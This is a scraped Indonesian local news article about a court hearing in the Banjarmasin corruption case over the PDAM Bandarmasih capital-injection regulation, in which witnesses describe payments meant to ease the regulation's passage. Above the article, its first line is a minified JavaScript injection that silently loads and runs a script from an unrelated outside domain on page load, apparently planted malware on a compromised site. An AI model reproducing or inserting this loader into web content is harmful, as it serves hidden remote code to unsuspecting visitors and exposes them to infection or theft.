(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Sidang kedua kasus dugaan korupsi Raperda Penyertaan Modal PDAM Bandarmasih sebesar Rp 50,7 miliar yang berlangsung Senin (28/11) di PN Tipikor Banjarmasin menguak banyak hal. Sejumlah saksi yang dihadirkan Jaksa Penuntut Umum (JPU) dari KPK memperkuat dugaan bagi-bagi jatah dari uang yang beredar guna memuluskan lolosnya Perda tersebut.
Ada sebanyak 12 saksi yang dihadirkan JPU. Saking banyaknya, hingga sidang yang mengagendakan mendengar keterangan saksi jaksa penuntut tersebut dibagi menjadi dua sesi. Dan tak seperti sidang hari pertama yang berlangsung singkat, kali ini berlangsung hingga sore!
Saksi yang dihadirkan oleh JPU yang diketuai Kiki Ahmad Yani terdiri dari anggota DPRD Banjarmasin dan Direktur Operasional PT Chindra Santi Pratama yang merupakan rekanan dari PDAM Bandarmasih. Di antara saksi dari legislatif yang hadir, selain bekas Ketua DPRD Banjarmasin Iwan Rusmali dan Ketua Pansus PDAM Andi Effendi, juga hadir Hj Ananda (Ketua DPRD saat ini yang menggantikan Iwan Rusmali, red),  Ahmad Rudiyani, Heri Edward, Abdul Gais, Dedi Sofyan, M. Suryani, Agus Suprapto, suprayogi dan Budiyanto. Sedangkan dari rekanan PDAM yang diminta keterangannya adalah Imam Purnama dari PT Chindra Santi Pratama yang menjabat sebagai Direktur Operasional.
Dalam sidang tersebut, JPU membuka rekaman yang membongkar kedok aksi bagi-bagi untuk memuluskan Raperda Penyertaan Modal PDAM. Misalnya saja, ketika dibuka rekaman percakapan anatara Imam Purnama dengan Muslih terkait permintaan uang Rp 250 juta.
Terkait uang Rp 250 juta yang diberikan Imam Purnama, dia mengatakan Muslih meminta dengan dalih untuk acara resepsi anaknya. Hal ini dipertanyakan Hakim dan JPU, dalam sidang apakah Rp 250 juta itu dari uang pribadi atau dari PT CSP. Mengingat untuk uang sebanyak itu tidak sembarangan orang bisa meminjamkan tanpa ada persetujuan dan jaminan.
Namun Imam menanggapi bahwa dia percaya kepada Muslih.
“Saya percaya dengan Bapak Muslih selaku Dirut PDAM Bandarmasih, dan pada saat itu saya sedang memegang uang itu dan meminjamkannya bukan memberikan,” bantahnya.
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More
KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More
This website uses cookies.